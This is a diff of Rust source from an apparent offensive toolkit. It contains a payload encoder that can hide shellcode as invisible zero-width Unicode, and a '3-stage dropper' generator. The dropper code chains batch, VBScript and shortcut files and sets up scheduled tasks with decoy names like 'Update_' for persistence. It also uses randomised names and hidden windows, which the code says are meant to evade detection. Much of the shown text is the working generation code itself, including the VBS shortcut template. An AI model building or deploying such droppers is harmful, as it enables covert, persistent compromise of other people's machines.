let hex_str = input.trim();
|
||||
|
||||
if hex_str.is_empty() {
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
// Validate hex string length (must be even)
|
||||
let hex_str = cfg_prompt_required("input", "Enter hex shellcode (no spaces)")?;
|
||||
if hex_str.is_empty() { return Ok(Vec::new()); }
|
||||
if hex_str.len() % 2 != 0 {
|
||||
anyhow::bail!("Hex string must have even length (each byte requires 2 hex characters)");
|
||||
anyhow::bail!("Hex string must have even length");
|
||||
}
|
||||
|
||||
// Parse hex string safely
|
||||
let mut bytes = Vec::new();
|
||||
for i in (0..hex_str.len()).step_by(2) {
|
||||
let hex_pair = &hex_str[i..i + 2];
|
||||
match u8::from_str_radix(hex_pair, 16) {
|
||||
Ok(byte) => bytes.push(byte),
|
||||
Err(_) => anyhow::bail!(
|
||||
"Invalid hex character at position {}: '{}' (expected 0-9, A-F, or a-f)",
|
||||
i,
|
||||
hex_pair
|
||||
),
|
||||
Err(_) => anyhow::bail!("Invalid hex at position {}: '{}'", i, hex_pair),
|
||||
}
|
||||
}
|
||||
|
||||
Ok(bytes)
|
||||
}
|
||||
InputType::Base64 => {
|
||||
print!("{}", "\nEnter base64 to decode: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let b64_str = input.trim();
|
||||
|
||||
let b64_str = cfg_prompt_required("input", "Enter base64 to decode")?;
|
||||
if b64_str.is_empty() {
|
||||
Ok(Vec::new())
|
||||
} else {
|
||||
BASE64.decode(b64_str.as_bytes()).context("Invalid base64")
|
||||
}
|
||||
}
|
||||
}
|
||||
InputType::File => {
|
||||
print!("{}", "\nEnter file path: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
let mut path = String::new();
|
||||
io::stdin().read_line(&mut path)?;
|
||||
let path = path.trim();
|
||||
|
||||
if path.is_empty() {
|
||||
anyhow::bail!("No file path provided");
|
||||
}
|
||||
|
||||
fs::read(path).await.context("Failed to read file")
|
||||
let path = cfg_prompt_required("input", "Enter file path")?;
|
||||
if path.is_empty() { anyhow::bail!("No file path provided"); }
|
||||
fs::read(&path).await.context("Failed to read file")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn select_encodings() -> Result<Vec<EncodingType>> {
|
||||
loop {
|
||||
println!("{}", "\n[Encoding Methods]".bright_yellow().bold());
|
||||
println!(" {} Base16 (Hex) {}", "1.".bright_white(), EncodingType::Base16.description().bright_black());
|
||||
println!(" {} Base32 {}", "2.".bright_white(), EncodingType::Base32.description().bright_black());
|
||||
println!(" {} Base32Hex {}", "3.".bright_white(), EncodingType::Base32Hex.description().bright_black());
|
||||
println!(" {} Base64 {}", "4.".bright_white(), "A-Z, a-z, 0-9, +, / [DEFAULT]".bright_cyan());
|
||||
println!(" {} Base64 URL-safe {}", "5.".bright_white(), EncodingType::Base64Url.description().bright_black());
|
||||
println!(" {} URL Encode {}", "6.".bright_white(), EncodingType::UrlEncode.description().bright_black());
|
||||
println!(" {} Shell Escape {}", "7.".bright_white(), EncodingType::ShellEscape.description().bright_black());
|
||||
println!(" {} HTML Encode {}", "8.".bright_white(), EncodingType::HtmlEncode.description().bright_black());
|
||||
println!(" {} Zero-Width Unicode {}", "9.".bright_white(), EncodingType::ZeroWidth.description().bright_magenta());
|
||||
fn select_encodings() -> Result<Vec<EncodingType>> {
|
||||
println!("{}", "\n[Encoding Methods]".bright_yellow().bold());
|
||||
println!(" {} Base16 (Hex) {}", "1.".bright_white(), EncodingType::Base16.description().bright_black());
|
||||
println!(" {} Base32 {}", "2.".bright_white(), EncodingType::Base32.description().bright_black());
|
||||
println!(" {} Base32Hex {}", "3.".bright_white(), EncodingType::Base32Hex.description().bright_black());
|
||||
println!(" {} Base64 {}", "4.".bright_white(), "A-Z, a-z, 0-9, +, / [DEFAULT]".bright_cyan());
|
||||
println!(" {} Base64 URL-safe {}", "5.".bright_white(), EncodingType::Base64Url.description().bright_black());
|
||||
println!(" {} URL Encode {}", "6.".bright_white(), EncodingType::UrlEncode.description().bright_black());
|
||||
println!(" {} Shell Escape {}", "7.".bright_white(), EncodingType::ShellEscape.description().bright_black());
|
||||
println!(" {} HTML Encode {}", "8.".bright_white(), EncodingType::HtmlEncode.description().bright_black());
|
||||
println!(" {} Zero-Width Unicode {}", "9.".bright_white(), EncodingType::ZeroWidth.description().bright_magenta());
|
||||
|
||||
print!("{}", "\nSelect encoding(s) [comma-separated or ENTER for Base64, 9 for invisible]: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choices = String::new();
|
||||
io::stdin().read_line(&mut choices)?;
|
||||
let choices = choices.trim();
|
||||
|
||||
if choices.is_empty() {
|
||||
return Ok(vec![EncodingType::Base64]);
|
||||
}
|
||||
let choices = cfg_prompt_default("encodings", "Select encoding(s) [comma-separated, default: Base64]", "4")?;
|
||||
|
||||
let mut encodings = Vec::new();
|
||||
let mut has_error = false;
|
||||
|
||||
for choice in choices.split(',') {
|
||||
let choice = choice.trim();
|
||||
match EncodingType::from_choice(choice) {
|
||||
Some(encoding) => encodings.push(encoding),
|
||||
None => {
|
||||
println!("{} {}", "[!] Invalid choice:".red(), choice);
|
||||
has_error = true;
|
||||
break;
|
||||
}
|
||||
let mut encodings = Vec::new();
|
||||
for choice in choices.split(',') {
|
||||
let choice = choice.trim();
|
||||
match EncodingType::from_choice(choice) {
|
||||
Some(encoding) => encodings.push(encoding),
|
||||
None => {
|
||||
println!("{} {}", "[!] Invalid choice:".red(), choice);
|
||||
return Ok(vec![EncodingType::Base64]);
|
||||
}
|
||||
}
|
||||
|
||||
if !has_error {
|
||||
return Ok(encodings);
|
||||
}
|
||||
// Loop continues on error
|
||||
}
|
||||
}
|
||||
|
||||
fn apply_encodings(input: &[u8], encodings: &[EncodingType]) -> Result<String> {
|
||||
// Guard against empty encoding list
|
||||
if encodings.is_empty() {
|
||||
return String::from_utf8(input.to_vec())
|
||||
.context("Input contains invalid UTF-8 and no encoding was specified");
|
||||
return Ok(vec![EncodingType::Base64]);
|
||||
}
|
||||
|
||||
let mut data = input.to_vec();
|
||||
|
||||
for encoding in encodings {
|
||||
let encoded = match encoding {
|
||||
EncodingType::Base16 => encode_base16(&data),
|
||||
EncodingType::Base32 => BASE32.encode(&data),
|
||||
EncodingType::Base32Hex => BASE32HEX.encode(&data),
|
||||
EncodingType::Base64 => BASE64.encode(&data),
|
||||
EncodingType::Base64Url => BASE64URL.encode(&data),
|
||||
EncodingType::UrlEncode => encode_url(&String::from_utf8_lossy(&data)),
|
||||
EncodingType::ShellEscape => encode_shell_escape(&String::from_utf8_lossy(&data)),
|
||||
EncodingType::HtmlEncode => encode_html(&String::from_utf8_lossy(&data)),
|
||||
EncodingType::ZeroWidth => encode_zero_width(&data),
|
||||
};
|
||||
|
||||
data = encoded.into_bytes();
|
||||
}
|
||||
|
||||
// Convert final result back to string
|
||||
String::from_utf8(data).context("Final encoding produced invalid UTF-8")
|
||||
Ok(encodings)
|
||||
}
|
||||
|
||||
fn display_result(result: &str, encodings: &[EncodingType], input_length: usize) -> Result<()> {
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════════════╗".bright_green());
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════════════╗".bright_green());
|
||||
println!("{}", "║ ENCODED PAYLOAD ║".bright_green());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════════════╝".bright_green());
|
||||
println!();
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════════════╝".bright_green());
|
||||
println!();
|
||||
|
||||
// Show encoding chain
|
||||
if encodings.len() > 1 {
|
||||
println!("{}", "Encoding chain:".bright_cyan());
|
||||
for (i, encoding) in encodings.iter().enumerate() {
|
||||
println!(" {}. {}", i + 1, encoding.name());
|
||||
}
|
||||
println!();
|
||||
println!();
|
||||
} else if let Some(encoding) = encodings.first() {
|
||||
println!("{} {}", "Encoding:".bright_cyan(), encoding.name());
|
||||
println!();
|
||||
@@ -328,359 +186,113 @@ fn display_result(result: &str, encodings: &[EncodingType], input_length: usize)
|
||||
if encodings.iter().any(|e| matches!(e, EncodingType::ZeroWidth)) {
|
||||
println!("{}", "\n[!] WARNING: Output contains INVISIBLE zero-width Unicode characters!".yellow().bold());
|
||||
println!("{}", "[!] The characters below are invisible but contain your encoded data.".yellow());
|
||||
println!("{}", "[!] They have been copied to clipboard as actual invisible Unicode characters.\n".yellow());
|
||||
|
||||
// Show a visual representation
|
||||
println!("{} {}", "Visualization:".bright_cyan(), visualize_zero_width(&result).bright_magenta());
|
||||
println!("{} {}", "Visualization:".bright_cyan(), visualize_zero_width(result).bright_magenta());
|
||||
println!();
|
||||
println!("{}", "[Invisible Unicode characters copied to clipboard]".bright_white());
|
||||
println!("{}", "[Invisible Unicode characters in output]".bright_white());
|
||||
} else {
|
||||
println!("{}", result.bright_white());
|
||||
}
|
||||
|
||||
if result.len() > 200 {
|
||||
println!();
|
||||
println!("{} {} chars", "[+] Length:".green(), result.len());
|
||||
} else {
|
||||
println!();
|
||||
println!("{} {} chars", "[+] Length:".green(), result.len());
|
||||
}
|
||||
|
||||
// Show some stats
|
||||
println!();
|
||||
println!("{} {} chars", "[+] Length:".green(), result.len());
|
||||
|
||||
let compressed_ratio = if input_length > 0 {
|
||||
format!("{:.1}%", (result.len() as f64 / input_length as f64) * 100.0)
|
||||
} else {
|
||||
"N/A".to_string()
|
||||
};
|
||||
|
||||
println!("{} {}", "[+] Size ratio:".green(), compressed_ratio);
|
||||
println!("{}", "─".repeat(70).bright_black());
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn handle_output(output: String) -> Result<()> {
|
||||
// Detect clipboard system
|
||||
let clipboard_type = detect_clipboard_system().await;
|
||||
|
||||
// Ask about clipboard
|
||||
match clipboard_type {
|
||||
ClipboardType::X11 => {
|
||||
print!("{}", "\nCopy to clipboard (xclip)? [y/N]: ".bright_green());
|
||||
}
|
||||
ClipboardType::Wayland => {
|
||||
print!("{}", "\nCopy to clipboard (wl-copy)? [y/N]: ".bright_green());
|
||||
}
|
||||
|
||||
let clip_choice = match clipboard_type {
|
||||
ClipboardType::X11 => cfg_prompt_default("clipboard", "Copy to clipboard (xclip)? [y/N]", "n")?,
|
||||
ClipboardType::Wayland => cfg_prompt_default("clipboard", "Copy to clipboard (wl-copy)? [y/N]", "n")?,
|
||||
ClipboardType::None => {
|
||||
println!("{}", "\n[!] No clipboard tool found (install xclip or wl-clipboard)".yellow());
|
||||
"n".to_string()
|
||||
}
|
||||
}
|
||||
|
||||
if !matches!(clipboard_type, ClipboardType::None) {
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
|
||||
if choice.trim().eq_ignore_ascii_case("y") {
|
||||
if copy_to_clipboard(&output, clipboard_type).await? {
|
||||
if output.chars().any(|c| matches!(c, '\u{200B}'..='\u{200F}' | '\u{2060}' | '\u{FEFF}' | '\u{034F}')) {
|
||||
println!("{}", "[+] ✓ Invisible zero-width Unicode characters copied to clipboard!".green().bold());
|
||||
println!("{}", "[!] The clipboard now contains truly invisible encoded data.".bright_black());
|
||||
} else {
|
||||
println!("{}", "[+] ✓ Copied to clipboard!".green().bold());
|
||||
}
|
||||
};
|
||||
|
||||
if clip_choice.eq_ignore_ascii_case("y") {
|
||||
if copy_to_clipboard(&output, clipboard_type).await? {
|
||||
if output.chars().any(|c| matches!(c, '\u{200B}'..='\u{200F}' | '\u{2060}' | '\u{FEFF}' | '\u{034F}')) {
|
||||
println!("{}", "[+] ✓ Invisible zero-width Unicode characters copied!".green().bold());
|
||||
} else {
|
||||
println!("{}", "[!] Failed to copy to clipboard".red());
|
||||
println!("{}", "[+] ✓ Copied to clipboard!".green().bold());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[!] Failed to copy to clipboard".red());
|
||||
}
|
||||
}
|
||||
|
||||
// Ask about saving to file
|
||||
print!("{}", "\nSave to file? [y/N]: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
|
||||
if choice.trim().eq_ignore_ascii_case("y") {
|
||||
|
||||
let save_choice = cfg_prompt_default("save_file", "Save to file? [y/N]", "n")?;
|
||||
if save_choice.eq_ignore_ascii_case("y") {
|
||||
save_to_file(&output).await?;
|
||||
}
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn ask_continue() -> Result<bool> {
|
||||
print!("{}", "\nEncode another payload? [Y/n]: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
|
||||
Ok(!choice.trim().eq_ignore_ascii_case("n"))
|
||||
}
|
||||
|
||||
async fn detect_clipboard_system() -> ClipboardType {
|
||||
// Check for Wayland first
|
||||
if let Ok(output) = Command::new("which")
|
||||
.arg("wl-copy")
|
||||
.output()
|
||||
.await
|
||||
{
|
||||
if output.status.success() {
|
||||
return ClipboardType::Wayland;
|
||||
}
|
||||
if let Ok(output) = Command::new("which").arg("wl-copy").output().await {
|
||||
if output.status.success() { return ClipboardType::Wayland; }
|
||||
}
|
||||
|
||||
// Check for X11
|
||||
if let Ok(output) = Command::new("which")
|
||||
.arg("xclip")
|
||||
.output()
|
||||
.await
|
||||
{
|
||||
if output.status.success() {
|
||||
return ClipboardType::X11;
|
||||
}
|
||||
if let Ok(output) = Command::new("which").arg("xclip").output().await {
|
||||
if output.status.success() { return ClipboardType::X11; }
|
||||
}
|
||||
|
||||
ClipboardType::None
|
||||
}
|
||||
|
||||
async fn copy_to_clipboard(text: &str, clipboard_type: ClipboardType) -> Result<bool> {
|
||||
// Ensure we copy the raw Unicode characters, especially for zero-width encoding
|
||||
// The text should already contain the correct UTF-8 encoded characters
|
||||
match clipboard_type {
|
||||
ClipboardType::X11 => copy_to_clipboard_x11(text).await,
|
||||
ClipboardType::Wayland => copy_to_clipboard_wayland(text).await,
|
||||
ClipboardType::X11 => {
|
||||
let mut child = Command::new("xclip")
|
||||
.arg("-selection").arg("clipboard")
|
||||
.arg("-t").arg("text/plain;charset=utf-8")
|
||||
.stdin(std::process::Stdio::piped())
|
||||
.spawn().context("Failed to spawn xclip")?;
|
||||
if let Some(mut stdin) = child.stdin.take() {
|
||||
stdin.write_all(text.as_bytes()).await?;
|
||||
stdin.shutdown().await?;
|
||||
}
|
||||
Ok(child.wait().await?.success())
|
||||
}
|
||||
ClipboardType::Wayland => {
|
||||
let mut child = Command::new("wl-copy")
|
||||
.arg("-t").arg("text/plain;charset=utf-8")
|
||||
.stdin(std::process::Stdio::piped())
|
||||
.spawn().context("Failed to spawn wl-copy")?;
|
||||
if let Some(mut stdin) = child.stdin.take() {
|
||||
stdin.write_all(text.as_bytes()).await?;
|
||||
stdin.shutdown().await?;
|
||||
}
|
||||
Ok(child.wait().await?.success())
|
||||
}
|
||||
ClipboardType::None => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
async fn copy_to_clipboard_x11(text: &str) -> Result<bool> {
|
||||
// Use UTF-8 encoding explicitly and ensure proper handling of Unicode characters
|
||||
let mut child = Command::new("xclip")
|
||||
.arg("-selection")
|
||||
.arg("clipboard")
|
||||
.arg("-t")
|
||||
.arg("text/plain;charset=utf-8")
|
||||
.stdin(std::process::Stdio::piped())
|
||||
.spawn()
|
||||
.context("Failed to spawn xclip")?;
|
||||
|
||||
if let Some(mut stdin) = child.stdin.take() {
|
||||
// Write as UTF-8 bytes to preserve Unicode characters including zero-width ones
|
||||
stdin.write_all(text.as_bytes()).await?;
|
||||
stdin.shutdown().await?;
|
||||
}
|
||||
|
||||
let status = child.wait().await?;
|
||||
Ok(status.success())
|
||||
}
|
||||
|
||||
async fn copy_to_clipboard_wayland(text: &str) -> Result<bool> {
|
||||
// Explicitly set MIME type for proper Unicode handling
|
||||
let mut child = Command::new("wl-copy")
|
||||
.arg("-t")
|
||||
.arg("text/plain;charset=utf-8")
|
||||
.stdin(std::process::Stdio::piped())
|
||||
.spawn()
|
||||
.context("Failed to spawn wl-copy")?;
|
||||
|
||||
if let Some(mut stdin) = child.stdin.take() {
|
||||
// Write UTF-8 bytes to preserve zero-width Unicode characters
|
||||
stdin.write_all(text.as_bytes()).await?;
|
||||
stdin.shutdown().await?;
|
||||
}
|
||||
|
||||
let status = child.wait().await?;
|
||||
Ok(status.success())
|
||||
}
|
||||
|
||||
async fn save_to_file(content: &str) -> Result<()> {
|
||||
let default_name = "encoded_payload.txt";
|
||||
|
||||
print!("{} [{}]: ",
|
||||
"Enter filename".bright_green(),
|
||||
default_name.bright_black()
|
||||
);
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut filename = String::new();
|
||||
io::stdin().read_line(&mut filename)?;
|
||||
let filename = filename.trim();
|
||||
|
||||
// Prevent path traversal: only use the filename component, strip directory separators
|
||||
let filename = cfg_prompt_default("filename", "Enter filename", "encoded_payload.txt")?;
|
||||
|
||||
let safe_filename = if filename.is_empty() {
|
||||
default_name.to_string()
|
||||
"encoded_payload.txt".to_string()
|
||||
} else {
|
||||
Path::new(filename)
|
||||
Path::new(&filename)
|
||||
.file_name()
|
||||
.and_then(|f| f.to_str())
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| {
|
||||
// If filename extraction fails, sanitize by removing path separators
|
||||
filename.replace('/', "_").replace('\\', "_")
|
||||
})
|
||||
.unwrap_or_else(|| filename.replace('/', "_").replace('\\', "_"))
|
||||
};
|
||||
|
||||
fs::write(&safe_filename, content)
|
||||
.await
|
||||
.context("Failed to write file")?;
|
||||
|
||||
|
||||
fs::write(&safe_filename, content).await.context("Failed to write file")?;
|
||||
println!("{} {}", "[+] ✓ Saved to:".green().bold(), safe_filename.bright_white());
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// ENCODING FUNCTIONS
|
||||
// ============================================================================
|
||||
|
||||
fn encode_base16(data: &[u8]) -> String {
|
||||
let mut result = String::with_capacity(data.len() * 2);
|
||||
for &byte in data {
|
||||
result.push_str(&format!("{:02X}", byte));
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
fn encode_url(text: &str) -> String {
|
||||
// Worst case: all bytes encoded as %XX (3 chars per byte)
|
||||
let mut result = String::with_capacity(text.len() * 3);
|
||||
|
||||
for byte in text.as_bytes() {
|
||||
match *byte {
|
||||
b' ' => result.push('+'),
|
||||
// RFC 3986 unreserved characters (all ASCII, so byte-to-char cast is safe)
|
||||
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => {
|
||||
// Safe: these are all ASCII characters (0-127), so byte as char is valid
|
||||
result.push(*byte as char);
|
||||
}
|
||||
// All other bytes (including multi-byte UTF-8 sequences) are percent-encoded
|
||||
_ => {
|
||||
result.push('%');
|
||||
result.push_str(&format!("{:02X}", byte));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
fn encode_shell_escape(text: &str) -> String {
|
||||
// Estimate capacity: most characters don't need escaping, but escaped ones double in size
|
||||
let mut result = String::with_capacity(text.len() * 2);
|
||||
|
||||
for c in text.chars() {
|
||||
match c {
|
||||
// Critical: space and asterisk must be escaped to prevent command injection
|
||||
' ' | '*' | '$' | '`' | '|' | '&' | ';' | '>' | '<' | '(' | ')' | '{' | '}' | '[' | ']' | ',' | '?' | '~' | '!' | '#' => {
|
||||
result.push('\\');
|
||||
result.push(c);
|
||||
}
|
||||
'"' => result.push_str("\\\""),
|
||||
'\'' => result.push_str("\\'"),
|
||||
'\\' => result.push_str("\\\\"),
|
||||
'\n' => result.push_str("\\n"),
|
||||
'\r' => result.push_str("\\r"),
|
||||
'\t' => result.push_str("\\t"),
|
||||
_ => result.push(c),
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
fn encode_html(text: &str) -> String {
|
||||
// Worst case: all '&' characters become "&" (5 chars each)
|
||||
// Other encoded chars are shorter, but this is the worst case
|
||||
let mut result = String::with_capacity(text.len() * 5);
|
||||
|
||||
for c in text.chars() {
|
||||
match c {
|
||||
'&' => result.push_str("&"),
|
||||
'<' => result.push_str("<"),
|
||||
'>' => result.push_str(">"),
|
||||
'"' => result.push_str("""),
|
||||
'\'' => result.push_str("'"),
|
||||
'/' => result.push_str("/"),
|
||||
_ => result.push(c),
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// ZERO-WIDTH UNICODE STEGANOGRAPHY
|
||||
// ============================================================================
|
||||
|
||||
/// Zero-width Unicode characters for invisible steganography
|
||||
/// These characters don't render visually but can store binary data
|
||||
const ZERO_WIDTH_CHARS: [char; 8] = [
|
||||
'\u{200B}', // Zero-width space (ZWSP) - represents 000
|
||||
'\u{200C}', // Zero-width non-joiner (ZWNJ) - represents 001
|
||||
'\u{200D}', // Zero-width joiner (ZWJ) - represents 010
|
||||
'\u{200E}', // Left-to-right mark (LTRM) - represents 011
|
||||
'\u{200F}', // Right-to-left mark (RTLM) - represents 100
|
||||
'\u{2060}', // Word joiner (WJ) - represents 101
|
||||
'\u{FEFF}', // Zero-width no-break space (BOM) - represents 110
|
||||
'\u{034F}', // Combining grapheme joiner (CGJ) - represents 111
|
||||
];
|
||||
|
||||
fn encode_zero_width(data: &[u8]) -> String {
|
||||
// Calculate exact capacity: (total_bits + 2) / 3 rounded up
|
||||
// Each byte contributes 8 bits, each char takes 3 bits
|
||||
let total_bits = data.len() as u64 * 8;
|
||||
let estimated_chars = ((total_bits + 2) / 3) as usize;
|
||||
let mut result = String::with_capacity(estimated_chars);
|
||||
|
||||
let mut buffer: u32 = 0;
|
||||
let mut bits_in_buffer = 0;
|
||||
|
||||
for &byte in data {
|
||||
// Add byte to buffer (shift left by 8, add byte)
|
||||
buffer = (buffer << 8) | (byte as u32);
|
||||
bits_in_buffer += 8;
|
||||
|
||||
// Extract 3-bit chunks while we have at least 3 bits
|
||||
while bits_in_buffer >= 3 {
|
||||
bits_in_buffer -= 3;
|
||||
// Extract highest 3 bits (MSB first for proper encoding)
|
||||
let bit_value = ((buffer >> bits_in_buffer) & 0x07) as usize;
|
||||
result.push(ZERO_WIDTH_CHARS[bit_value]);
|
||||
}
|
||||
}
|
||||
|
||||
// Handle remaining bits (less than 3 bits in buffer)
|
||||
// Pad with zeros to make exactly 3 bits for the final character
|
||||
if bits_in_buffer > 0 {
|
||||
// Shift the remaining bits to the left to align with MSB of 3-bit chunk
|
||||
// Then mask to get exactly 3 bits (padding with zeros on the right)
|
||||
let padded_bits = (buffer << (3 - bits_in_buffer)) & 0x07;
|
||||
let bit_value = padded_bits as usize;
|
||||
result.push(ZERO_WIDTH_CHARS[bit_value]);
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
fn visualize_zero_width(text: &str) -> String {
|
||||
let mut result = String::with_capacity(text.len() * 5); // Each char becomes ~5 chars
|
||||
|
||||
for ch in text.chars() {
|
||||
match ch {
|
||||
'\u{200B}' => result.push_str("[000]"),
|
||||
'\u{200C}' => result.push_str("[001]"),
|
||||
'\u{200D}' => result.push_str("[010]"),
|
||||
'\u{200E}' => result.push_str("[011]"),
|
||||
'\u{200F}' => result.push_str("[100]"),
|
||||
'\u{2060}' => result.push_str("[101]"),
|
||||
'\u{FEFF}' => result.push_str("[110]"),
|
||||
'\u{034F}' => result.push_str("[111]"),
|
||||
_ => result.push_str(&format!("[{:04X}]", ch as u32)),
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
@@ -1,241 +1,65 @@
|
||||
use anyhow::{Result, Context};
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use crate::utils::validate_file_path;
|
||||
use rand::{rng, Rng, prelude::IndexedRandom};
|
||||
use crate::utils::{cfg_prompt_required, cfg_prompt_default, validate_file_path};
|
||||
use crate::native::payload_engine::{
|
||||
parse_delay, random_string, build_polymorph_dropper,
|
||||
};
|
||||
use std::fs;
|
||||
use std::io::Write;
|
||||
use std::fmt::Write as FmtWrite;
|
||||
|
||||
/// Polymorph 3-Stage Dropper
|
||||
///
|
||||
/// Generates a 3-stage payload chain to evade detection and persistence via Task Scheduler.
|
||||
/// Generates a 3-stage payload chain to evade detection with Task Scheduler persistence.
|
||||
/// Core payload generation provided by `native::payload_engine`.
|
||||
///
|
||||
/// Flow:
|
||||
/// 1. Dropper BAT (random name) -> Writes Stage 2 BAT + Schedules it
|
||||
/// 2. Stage 2 BAT (random name) -> Writes VBS -> Creates LNK -> Schedules LNK
|
||||
/// 3. Stage 3 LNK (random name) -> Executes final command
|
||||
///
|
||||
/// Features:
|
||||
/// - Polymorphic variable names
|
||||
/// - Random filenames
|
||||
/// - Configurable delays (minutes/days)
|
||||
/// - Non-root directory usage (%PUBLIC%\Libraries usually writable)
|
||||
|
||||
/// API prompt keys:
|
||||
/// - `command` : Final command to execute
|
||||
/// - `stage1_delay` : Stage 1 delay (e.g., 1m, 2d)
|
||||
/// - `stage2_delay` : Stage 2 delay (e.g., 5m, 1d)
|
||||
/// - `output_file` : Output dropper filename
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
println!("{}", "=== Polymorph 3-Stage Dropper ===".cyan().bold());
|
||||
println!("{}", "Generates a 3-stage payload chain using Task Scheduler for persistence/evasion.".yellow());
|
||||
|
||||
// 1. Get User Input
|
||||
let command = prompt("[+] Final Command to Execute (e.g., calc.exe, powershell ...): ").await?;
|
||||
let stage1_delay_str = prompt("[+] Stage 1 Delay (e.g., 1m, 2d): ").await?;
|
||||
let stage2_delay_str = prompt("[+] Stage 2 Delay (e.g., 5m, 1d): ").await?;
|
||||
let output_name = prompt("[+] Output Dropper Filename (e.g., dropper.bat): ").await?;
|
||||
let command = cfg_prompt_required("command", "Final Command to Execute (e.g., calc.exe, powershell ...)")?;
|
||||
let stage1_delay_str = cfg_prompt_default("stage1_delay", "Stage 1 Delay (e.g., 1m, 2d)", "1m")?;
|
||||
let stage2_delay_str = cfg_prompt_default("stage2_delay", "Stage 2 Delay (e.g., 5m, 1d)", "5m")?;
|
||||
let output_name = cfg_prompt_default("output_file", "Output Dropper Filename", "dropper.bat")?;
|
||||
|
||||
// Validate inputs
|
||||
validate_file_path(&output_name, true)?;
|
||||
|
||||
// Parse delays
|
||||
|
||||
let delay1_mins = parse_delay(&stage1_delay_str)?;
|
||||
let delay2_mins = parse_delay(&stage2_delay_str)?;
|
||||
|
||||
// Generate Random Names
|
||||
let dropper_name = output_name.clone();
|
||||
let stage2_bat_name = format!("{}.bat", random_string(8));
|
||||
let stage3_lnk_name = format!("{}.lnk", random_string(8));
|
||||
let vbs_helper_name = format!("{}.vbs", random_string(8));
|
||||
|
||||
// Task Names
|
||||
|
||||
let task1_name = format!("Update_{}", random_string(6));
|
||||
let task2_name = format!("Sync_{}", random_string(6));
|
||||
|
||||
// Polymorphic Variables for obfuscation
|
||||
let var_cmd = random_var();
|
||||
let var_p1 = random_var();
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Generating payload chain...".blue());
|
||||
println!(" Stage 1: {} (Dropper) -> Task: {}", dropper_name, task1_name);
|
||||
println!(" Stage 1: {} (Dropper) -> Task: {}", output_name, task1_name);
|
||||
println!(" Stage 2: {} (Payload Gen) -> Task: {}", stage2_bat_name, task2_name);
|
||||
println!(" Stage 3: {} (LNK Trigger) -> Command: {}", stage3_lnk_name, command);
|
||||
println!(" Obfuscation vars: {}, {}", var_cmd, var_p1);
|
||||
|
||||
// --- GENERATE STAGE 2 CONTENT (The BAT that creates LNK) ---
|
||||
// This BAT will be embedded inside Stage 1
|
||||
// It needs to:
|
||||
// 1. Create a VBS script
|
||||
// 2. Run VBS to create LNK
|
||||
// 3. Schedule the LNK
|
||||
|
||||
// Escape command for BAT/VBS/LNK nesting... this is tricky.
|
||||
// LNK Target: cmd.exe
|
||||
// LNK Args: /c start "" "command" (to hide window if possible) or just /c command
|
||||
let lnk_target = "cmd.exe";
|
||||
let lnk_args = format!("/c {}", command);
|
||||
|
||||
// We write a VBS script to generate the LNK because it is more reliable than pure BAT for LNKs
|
||||
let vbs_content = format!(
|
||||
r#"Set oWS = WScript.CreateObject("WScript.Shell")
|
||||
sLinkFile = "{stage3_lnk_name}"
|
||||
Set oLink = oWS.CreateShortcut(sLinkFile)
|
||||
oLink.TargetPath = "{lnk_target}"
|
||||
oLink.Arguments = "{lnk_args}"
|
||||
oLink.WindowStyle = 7
|
||||
oLink.Save"#,
|
||||
stage3_lnk_name = stage3_lnk_name,
|
||||
lnk_target = lnk_target,
|
||||
lnk_args = lnk_args.replace("\"", "\"\"") // VBS string escaping
|
||||
let stage1_content = build_polymorph_dropper(
|
||||
&command,
|
||||
delay1_mins,
|
||||
delay2_mins,
|
||||
&stage2_bat_name,
|
||||
&stage3_lnk_name,
|
||||
&vbs_helper_name,
|
||||
&task1_name,
|
||||
&task2_name,
|
||||
);
|
||||
|
||||
// Stage 2 BAT Content
|
||||
// Be careful with escaping, this string will be echo'd by Stage 1 into a file
|
||||
let task2_cmd = format!("cmd /c start /min \"\" \"%cd%\\{}\"", stage3_lnk_name);
|
||||
|
||||
// We inject the time calculation logic into Stage 2
|
||||
let time_calc_loop = format!(
|
||||
r#"for /f "usebackq delims=" %%T in (`powershell -Command "get-date (get-date).addMinutes({}) -Format HH:mm"`) do set "FUTURE_TIME=%%T""#,
|
||||
delay2_mins
|
||||
);
|
||||
fs::write(&output_name, stage1_content)
|
||||
.map_err(|e| anyhow::anyhow!("Failed to write dropper to {}: {}", output_name, e))?;
|
||||
